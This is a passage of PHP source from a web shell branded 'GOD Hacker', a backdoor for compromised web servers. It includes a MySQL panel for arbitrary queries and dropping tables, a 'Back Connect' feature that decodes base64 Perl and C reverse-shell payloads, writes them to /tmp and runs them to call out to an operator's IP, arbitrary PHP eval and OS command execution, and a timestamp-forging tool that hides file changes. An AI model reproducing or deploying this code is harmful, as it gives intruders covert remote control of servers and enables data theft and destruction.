752 p('<form id="setdbname" method="post" action="'.$self.'">
753 <p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
754 $highver = $mysqlver > '4.1' ? 1 : 0;
755 $query = q("SHOW DATABASES");
756 $dbs = array();
757 $dbs[] = '-- Select a database --';
758 while($db = mysql_fetch_array($query)) {
759 $dbs[$db['Database']] = $db['Database'];
760 }
761 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
762 p('</form>');
763 $tabledb = array();
764 if($dbname) {
765 p('<p>');
766 p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
767 if($tablename) {
768 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');}
769 p('</p>');
770 mysql_select_db($dbname);
771 $getnumsql = '';
772 $runquery = 0;
773 if($sql_query) {
774 $runquery = 1;
775 }
776 $allowedit = 0;
777 if($tablename && !$sql_query) {
778 $sql_query = "SELECT * FROM $tablename";
779 $getnumsql = $sql_query;
780 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
781 $allowedit = 1;
782 }
783 p('<form action="" method="post">');
784 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
785 makehide('tablename', $tablename);
786 makehide('haz','sqladmin');
787 p($dbform);
788 p('</form>');
789 if($tablename || ($runquery && $sql_query)) {
790 if($doing == 'structure') {
791 $result = q("SHOW COLUMNS FROM $tablename");
792 $rowdb = array();
793 while($row = mysql_fetch_array($result)) {
794 $rowdb[] = $row;
795 }
796 p('<table border="0" cellpadding="3" cellspacing="0">');
797 p('<tr class="head">');
798 p('<td>Field</td>');
799 p('<td>Type</td>');
800 p('<td>Null</td>');
801 p('<td>Key</td>');
802 p('<td>Default</td>');
803 p('<td>Extra</td>');
804 p('</tr>');
805 foreach ($rowdb as $row) {
806 $thisbg = bg();
807 p('<tr class="'.$tbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$tbg.'\';">');
808 p('<td>'.$row['Field'].'</td>');
809 p('<td>'.$row['Type'].'</td>');
810 p('<td>'.$row['Null'].' </td>');
811 p('<td>'.$row['Key'].' </td>');
812 p('<td>'.$row['Default'].' </td>');
813 p('<td>'.$row['Extra'].' </td>');
814 p('</tr>');
815 }
816 tbfoot();
817 } elseif($doing == 'insert' || $doing == 'edit') {
818 $result = q('SHOW COLUMNS FROM '.$tablename);
819 while ($row = mysql_fetch_array($result)) {
820 $rowdb[] = $row;
821 }
822 $rs = array();
823 if($doing == 'insert') {
824 p('<h2>Insert new line in '.$tablename.' table »</h2>');
825 } else {
826 p('<h2>Update record in '.$tablename.' table »</h2>');
827 $where = base64_decode($base64);
828 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
829 $rs = mysql_fetch_array($result);
830 }
831 p('<form method="post" action="'.$self.'">');
832 p($dbform);
833 makehide('haz','sqladmin');
834 makehide('tablename',$tablename);
835 p('<table border="0" cellpadding="3" cellspacing="0">');
836 foreach ($rowdb as $row) {
837 if($rs[$row['Field']]) {
838 $value = htmlspecialchars($rs[$row['Field']],ENT_QUOTES);
839 } else {
840 $value = '';
841 }
842 $tbg = bg();
843 p('<tr class="'.$tbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$tbg.'\';">');
844 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
845 }
846 if($doing == 'insert') {
847 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
848 } else {
849 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
850 makehide('base64', $base64);
851 }
852 p('</table></form>');
853 } else {
854 $querys = @explode(';',$sql_query);
855 foreach($querys as $num=>$query) {
856 if($query) {
857 p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
858 switch(qy($query)) {
859 case 0:
860 p('<h2>Error : '.mysql_error().'</h2>');
861 break;
862 case 1:
863 if(strtolower(substr($query,0,13)) == 'select * from') {
864 $allowedit = 1;
865 }
866 if($getnumsql) {
867 $tatol = mysql_num_rows(q($getnumsql));
868 $multipage = multi($tatol, $pagenum, $page, $tablename);
869 }
870 if(!$tablename) {
871 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
872 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
873 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
874 $tablename = $matches[1][0];
875 }
876 $result = q($query);
877 p($multipage);
878 p('<table border="0" cellpadding="3" cellspacing="0">');
879 p('<tr class="head">');
880 if($allowedit) p('<td>Action</td>');
881 $fieldnum = @mysql_num_fields($result);
882 for($i=0;$i<$fieldnum;$i++){
883 $name = @mysql_field_name($result, $i);
884 $type = @mysql_field_type($result, $i);
885 $len = @mysql_field_len($result, $i);
886 p("<td class=\"nw\">$name<br /><span>$type($len)</span></td>");
887 }
888 p('</tr>');
889 while($mn = @mysql_fetch_assoc($result)){
890 $tbg = bg();
891 p('<tr class="'.$tbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$tbg.'\';">');
892 $where = $tmp = $b1 = '';
893 foreach($mn as $key=>$inside){
894 if($inside) {
895 $where .= $tmp.$key."='".addslashes($inside)."'";
896 $tmp = ' AND ';
897 }
898 $b1 .= '<td class="nw">'.html_clean($inside).' </td>';
899 }
900 $where = base64_encode($where);
901 if($allowedit) p('<td class="nw"><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
902 p($b1);
903 p('</tr>');
904 unset($b1);
905 }
906 tbfoot();
907 p($multipage);
908 break;
909 case 2:
910 $ar = mysql_affected_rows();
911 p('<h2>affected rows : <b>'.$ar.'</b></h2>');
912 break;
913 }
914 }
915 }
916 }
917 } else {
918 $query = q("SHOW TABLE STATUS");
919 $table_num = $table_rows = $data_size = 0;
920 $tabledb = array();
921 while($table = mysql_fetch_array($query)) {
922 $data_size = $data_size + $table['Data_length'];
923 $table_rows = $table_rows + $table['Rows'];
924 $table['Data_length'] = sizecount($table['Data_length']);
925 $table_num++;
926 $tabledb[] = $table;
927 }
928 $data_size = sizecount($data_size);
929 unset($table);
930 p('<table border="0" cellpadding="0" cellspacing="0">');
931 p('<form action="'.$self.'" method="post">');
932 makehide('haz','sqladmin');
933 p($dbform);
934 p('<tr class="head">');
935 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
936 p('<td>Name</td>');
937 p('<td>Rows</td>');
938 p('<td>Data_length</td>');
939 p('<td>Create_time</td>');
940 p('<td>Update_time</td>');
941 if($highver) {
942 p('<td>Engine</td>');
943 p('<td>Collation</td>');
944 }
945 p('</tr>');
946 foreach ($tabledb as $key => $table) {
947 $tbg = bg();
948 p('<tr class="'.$tbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$tbg.'\';">');
949 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
950 p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
951 p('<td>'.$table['Rows'].'</td>');
952 p('<td>'.$table['Data_length'].'</td>');
953 p('<td>'.$table['Create_time'].'</td>');
954 p('<td>'.$table['Update_time'].'</td>');
955 if($highver) {
956 p('<td>'.$table['Engine'].'</td>');
957 p('<td>'.$table['Collation'].'</td>');
958 }
959 p('</tr>');
960 }
961 p('<tr class="'.bg().'">');
962 p('<td> </td>');
963 p('<td>Total tables: '.$table_num.'</td>');
964 p('<td>'.$table_rows.'</td>');
965 p('<td>'.$data_size.'</td>');
966 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
967 p('</tr>');
968 p('<tr class="'.bg().'"><td colspan="'.($highver ? 8 : 6).'"><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="'.F_ROOT.$_SERVER['HTTP_HOST'].'_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>');
969 makehide('doing','backupmysql');
970 p("</form>\n</table>");
971 fr($query);
972 }
973 }
974 }
975 tbfoot();
976 mysql_close($lnk);
977}
978elseif($haz == 'bconx') {
979 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
980 !$yourport && $yourport = '12345';
981 $usedb = array('perl'=>'perl','c'=>'c');
982$rv_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
983"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
984"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
985"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
986"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
987"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
988"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
989$rv_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
990"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
991"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
992"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
993"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
994"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
995"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
996"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
997if($start && $yourip && $yourport && $use){
998 if($use == 'perl') {
999 sv_file('/tmp/god_bc',@base64_decode($rv_connect));
1000 $res = mycmd(which('perl')." /tmp/god_bc $yourip $yourport &");
1001 } else {
1002 sv_file('/tmp/god_bc.c',@base64_decode($rv_connect_c));
1003 $res = mycmd('gcc -o /tmp/god_bc /tmp/god_bc.c');
1004 @unlink('/tmp/god_bc.c');
1005 $res = mycmd("/tmp/god_bc $yourip $yourport &");
1006 }
1007 m("Now script try connect to $yourip port $yourport ...");
1008 }
1009 formhead(array('title'=>'Back Connect'));
1010 makehide('haz','bconx');
1011 p('<p>');
1012 p('Your IP:');
1013 makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
1014 p('Your Port:');
1015 makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
1016 p('Use:');
1017 makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
1018 makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
1019 p("</p>\n</form>");
1020}
1021elseif($haz=='evl') {
1022 $phpcode=trim($phpcode);
1023 if($phpcode){
1024 if(!strstr($phpcode,'<?')) {$phpcode="<?php\n{$phpcode}\n?>";}
1025 p('<pre>');
1026 eval("?".">$phpcode<?");
1027 echo'</pre>';
1028 }
1029 formhead(array('title'=>'Eval PHP Code'));
1030 makehide('haz','evl');
1031 maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
1032 formfooter();
1033}
1034elseif($haz == 'editfile') {
1035 if(file_exists($opfile)) {
1036 $fp=@fopen($opfile,'r');
1037 $contents=@fread($fp, filesize($opfile));
1038 @fclose($fp);
1039 $contents=htmlspecialchars($contents);
1040 }
1041 formhead(array('title'=>'Create / Edit File'));
1042 makehide('haz','file');
1043 makehide('dir',$nowpath);
1044 makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
1045 maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
1046 formfooter();
1047}
1048elseif($haz == 'newtime') {
1049 $opfilemtime = @filemtime($opfile);
1050 $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
1051 formhead(array('title'=>'Clone file was last modified time'));
1052 makehide('haz','file');
1053 makehide('dir',$nowpath);
1054 makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1055 makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
1056 formfooter();
1057 formhead(array('title'=>'Set last modified'));
1058 makehide('haz','file');
1059 makehide('dir',$nowpath);
1060 makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1061 p('<p>Instead »');
1062 p('year:');
1063 makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
1064 p('month:');
1065 makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
1066 p('day:');
1067 makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
1068 p('hour:');
1069 makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
1070 p('minute:');
1071 makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
1072 p('second:');
1073 makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
1074 p('</p>');
1075 formfooter();
1076}
1077elseif($haz == 'sh') {
1078 if(IS_WIN && IS_COM) {
1079 if($program && $parameter) {
1080 $shell= new COM('Shell.Application');
1081 $a = $shell->ShellExecute($program,$parameter);
1082 m('Program run has '.(!$a ? 'success' : 'fail'));
1083 }
1084 !$program && $program = 'c:\windows\system32\cmd.exe';
1085 !$parameter && $parameter = '/c net start > '.F_ROOT.'log.txt';
1086 formhead(array('title'=>'Execute Program'));
1087 makehide('haz','sh');
1088 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
1089 p('<p>');
1090 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
1091 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1092 p("</p>\n</form>");
1093 }
1094 formhead(array('title'=>'Execute Command'));
1095 makehide('haz','sh');
1096 if(IS_WIN && IS_COM) {
1097 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
1098 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
1099 }
1100 p('<p>');
1101 makeinput(array('title'=>'Command','name'=>'ex','value'=>$ex));
1102 makeinput(array('class'=>'bt','type'=>'submit','value'=>'Execute'));
1103 p("</p>\n</form>");
1104 if($ex) {
1105 p('<hr width="100%" noshade><pre>');
1106 if($execfunc=='wscript' && IS_WIN && IS_COM) {
1107 $wsh = new COM('WScript.shell');
1108 $exec = $wsh->exec('cmd.exe /c '.$ex);
1109 $stdout = $exec->StdOut();
1110 $stroutput = $stdout->ReadAll();
1111 echo $stroutput;
1112 } elseif($execfunc=='proc_open' && IS_WIN && IS_COM) {
1113 $descriptorspec = array(
1114 0 => array('pipe', 'r'),
1115 1 => array('pipe', 'w'),
1116 2 => array('pipe', 'w')
1117 );
1118 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
1119 if(is_resource($process)) {
1120 fwrite($pipes[0], $ex."\r\n");
1121 fwrite($pipes[0], "exit\r\n");
1122 fclose($pipes[0]);
1123 while (!feof($pipes[1])) {
1124 echo fgets($pipes[1], 1024);
1125 }
1126 fclose($pipes[1]);
1127 while (!feof($pipes[2])) {
1128 echo fgets($pipes[2], 1024);
1129 }
1130 fclose($pipes[2]);
1131 proc_close($process);
1132 }
1133 } else {
1134 echo(htmlspecialchars(mycmd($ex)));
1135 }
1136 p('</pre>');
1137 }
1138}
1139elseif($haz=='env') {
1140 $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
1141 $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
1142 $info = array(
1143 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
1144 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
1145 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
1146 4 => array('Server OS',PHP_OS),
1147 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
1148 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
1149 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
1150 8 => array('PHP run mode',strtoupper(php_sapi_name())),
1151 9 => array('The file path',$_SERVER['SCRIPT_FILENAME']),
1152 10 => array('PHP Version',PHP_VERSION),
1153 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:gohaz(\'phpinfo\');">Yes</a>' : 'No')),
1154 12 => array('Safe Mode',getcfg('safe_mode')),
1155 13 => array('Administrator',$adminmail),
1156 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
1157 15 => array('enable_dl',getcfg('enable_dl')),
1158 16 => array('display_errors',getcfg('display_errors')),
1159 17 => array('register_globals',getcfg('register_globals')),
1160 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
1161 19 => array('Open Basedir',getcfg('open_basedir')),
1162 20 => array('memory_limit',getcfg('memory_limit')),
1163 21 => array('post_max_size',getcfg('post_max_size')),
1164 22 => array('upload_max_filesize',$upsize),
1165 23 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
1166 24 => array('disable_functions',join(' ', nofunc())),
1167 );
1168 if($phpvarname) {
1169 m($phpvarname .' : '.getcfg($phpvarname));
1170 }
1171 formhead(array('title'=>'Server environment'));
1172 makehide('haz','env');
1173 makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
1174 formfooter();
1175 $hp = array(0=> 'Server', 1=> 'PHP');
1176 for($a=0;$a<2;$a++) {
1177 p('<h2>'.$hp[$a].' »</h2>');
1178 p('<ul class="info">');
1179 if($a==0) {
1180 for($i=1;$i<=9;$i++) {
1181 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1182 }
1183 } elseif($a == 1) {
1184 for($i=10;$i<=24;$i++) {
1185 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1186 }
1187 }
1188 p('</ul>');
1189 }
1190}else {
1191m('Undefined Action');
1192}
1193?>
1194
1195</td></tr></table>
1196<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
1197<span style="float:right;"><?php debuginfo();ob_end_flush();?></span> Copyright ©2009-<?php echo date('Y');?> <a href="http://god.god/" target="_blank">GOD Hacker</a> All Rights Reserved.
1198</div>
1199</body>
1200</html>
1201<?php
1202function m($m,$c='m') {echo "<div class=\"$c\">$m</div>\n";}
1203function scookie($key, $value, $life = 0, $prefix = 1) {
1204 global $admin, $timestamp, $_SERVER;
1205 $key = ($prefix ? $admin['cookiepre'] : '').$key;
1206 $life = $life ? $life : $admin['cookielife'];
1207 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
1208 setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
1209}
1210function multi($num, $perpage, $curpage, $tablename) {
1211 $multipage = '';
1212 if($num > $perpage) {
1213 $page = 10;
1214 $offset = 5;
1215 $pages = @ceil($num / $perpage);
1216 if($page > $pages) {
1217 $from = 1;
1218 $to = $pages;
1219 } else {
1220 $from = $curpage - $offset;
1221 $to = $curpage + $page - $offset - 1;
1222 if($from < 1) {
1223 $to = $curpage + 1 - $from;
1224 $from = 1;
1225 if(($to - $from) < $page && ($to - $from) < $pages) {
1226 $to = $page;
1227 }
1228 } elseif($to > $pages) {
1229 $from = $curpage - $pages + $to;
1230 $to = $pages;
1231 if(($to - $from) < $page && ($to - $from) < $pages) {
1232 $from = $pages - $page + 1;
1233 }
1234 }
1235 }
1236 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
1237 for($i = $from; $i <= $to; $i++) {
1238 $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
1239 }
1240 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
1241 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
1242 }
1243 return $multipage;
1244}
1245function loginpage() { ?>
1246
1247<html><head>
1248<meta name="robots" content="noindex,nofollow,noarchive">
1249<style type="text/css">
1250*{font:11px Verdana;}input {background:#FFF;line-height:18px;border:1px solid #666;}
1251</style>
1252</head>
1253<body>
1254<form method="post" action="<?php echo $self;?>">
1255Password: <input name="password" type="password" size="20" value="">
1256<input type="hidden" name="doing" value="login">
1257<input type="submit" value="Login">
1258</form>
1259</body></html>
1260<?php exit;
1261}
1262function mycmd($c) {
1263$re='';
1264 if($c) {
1265 $pi=array(array('pipe','r'),array('pipe','w'),array('pipe','w'));
1266 if(isfunc('popen') && @is_resource($f=popen($c.' 2>&1','r'))) {$re.=gres($f);@pclose($f);}
1267 elseif(isfunc('proc_open') && @is_resource($f=proc_open($c,$pi,$pipes))) {$re.=gres($pipes[1]);$re.=gres($pipes[2]);foreach($pipes as $pp)fclose($pp);@proc_close($f);}
1268 elseif(isfunc('exec')){exec($c,$re);$re=join("\n",$re);}
1269 elseif(isfunc('shell_exec')){$re=shell_exec($c);}
1270 elseif(isfunc('system')) {ob_start();system($c);$re=@ob_get_contents();@ob_end_clean();}
1271 elseif(isfunc('passthru')){ob_start();passthru($c);$re=@ob_get_contents();@ob_end_clean();}
1272 }
1273return $re;
1274}
1275function nofunc(){$r=explode(',',@ini_get("disable_functions"));return empty($r)?array():$r;}
1276function isfunc($f){return (function_exists($f) && is_callable($f) && !in_array($f,nofunc()))?1:0;}
1277function gres($r){if(!isfunc('stream_get_contents')){while(!feof($r)){$re.=fread($r,4096);}}else{$re.=stream_get_contents($r);}return $re;}
1278function which($pr){$path = mycmd("which $pr");return ($path ? $path : $pr);}
1279function sv_file($f,$c) {
1280 if(function_exists('file_put_contents')) {return @file_put_contents($f,$c);}
1281 else{
1282 $r=false;
1283 if($fp=@fopen($f,'w')){
1284 @fwrite($fp,$c);
1285 @fclose($fp);
1286 $r=true;
1287 }
1288 return $r;
1289 }
1290}
1291function debuginfo() {global $starttime;$mtime = explode(' ', microtime());$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);echo 'Processed in '.$totaltime.' second(s)';}
1292function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
1293 if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
1294 p('<h2>Can not connect to MySQL server</h2>');
1295 exit;
1296 }
1297 if($link && $dbname) {
1298 if(!@mysql_select_db($dbname, $link)) {
1299 p('<h2>Database selected has error</h2>');
1300 exit;
1301 }
1302 }
1303 if($link && mysql_get_server_info() > '4.1') {
1304 if(in_array(strtolower($charset), array('latin1', 'utf8'))) {
1305 q("SET character_set_connection=$charset, character_set_results=$charset,
1306character_set_client=binary;", $link);
1307 }
1308 }
1309 return $link;
1310}
1311function s_array(&$array) {
1312 if(is_array($array)) {
1313 foreach ($array as $k => $v) {
1314 $array[$k] = s_array($v);
1315 }
1316 } else if(is_string($array)) {
1317 $array = stripslashes($array);
1318 }
1319 return $array;
1320}
1321function html_clean($content) {
1322 $content = htmlspecialchars($content, ENT_QUOTES);
1323 $content = str_replace(array("\n",' ',"\t"), array("<br />",' ',' '), $content);
1324 return $content;
1325}
1326function getChmod($filepath){
1327 return substr(base_convert(@fileperms($filepath),10,8),-4);
1328}
1329function getPerms($filepath) {
1330 $mode = @fileperms($filepath);
1331 if(($mode & 0xC000) === 0xC000) {$type = 's';}
1332 elseif(($mode & 0x4000) === 0x4000) {$type = 'd';}
1333 elseif(($mode & 0xA000) === 0xA000) {$type = 'l';}
1334 elseif(($mode & 0x8000) === 0x8000) {$type = '-';}
1335 elseif(($mode & 0x6000) === 0x6000) {$type = 'b';}
1336 elseif(($mode & 0x2000) === 0x2000) {$type = 'c';}
1337 elseif(($mode & 0x1000) === 0x1000) {$type = 'p';}
1338 else {$type = '?';}
1339 $owner['read'] = ($mode & 00400) ? 'r' : '-';
1340 $owner['write'] = ($mode & 00200) ? 'w' : '-';
1341 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
1342 $group['read'] = ($mode & 00040) ? 'r' : '-';
1343 $group['write'] = ($mode & 00020) ? 'w' : '-';
1344 $group['execute'] = ($mode & 00010) ? 'x' : '-';
1345 $world['read'] = ($mode & 00004) ? 'r' : '-';
1346 $world['write'] = ($mode & 00002) ? 'w' : '-';
1347 $world['execute'] = ($mode & 00001) ? 'x' : '-';
1348 if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
1349 if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
1350 if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
1351 return
1352$type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].
1353$world['write'].$world['execute'];
1354}
1355function getUser($filepath) {
1356 $r='';
1357 if(isfunc('posix_getpwuid')) {
1358 $array = @posix_getpwuid(@fileowner($filepath));
1359 if($array && is_array($array)) {
1360 $r.= ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>';
1361 }
1362 }
1363 return $r;
1364}
1365function deltree($deldir) {
1366 $mydir=@dir($deldir);
1367 while($file=$mydir->read()) {
1368 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
1369 @chmod($deldir.'/'.$file,0777);
1370 deltree($deldir.'/'.$file);
1371 }
1372 if(is_file($deldir.'/'.$file)) {
1373 @chmod($deldir.'/'.$file,0777);
1374 @unlink($deldir.'/'.$file);
1375 }
1376 }
1377 $mydir->close();
1378 @chmod($deldir,0777);
1379 return @rmdir($deldir) ? 1 : 0;
1380}
1381function bg() {global $bgc;return ($bgc++%2==0) ? 'alt1' : 'alt2';}
1382function getPath($scriptpath, $nowpath) {
1383 if($nowpath == '.') {
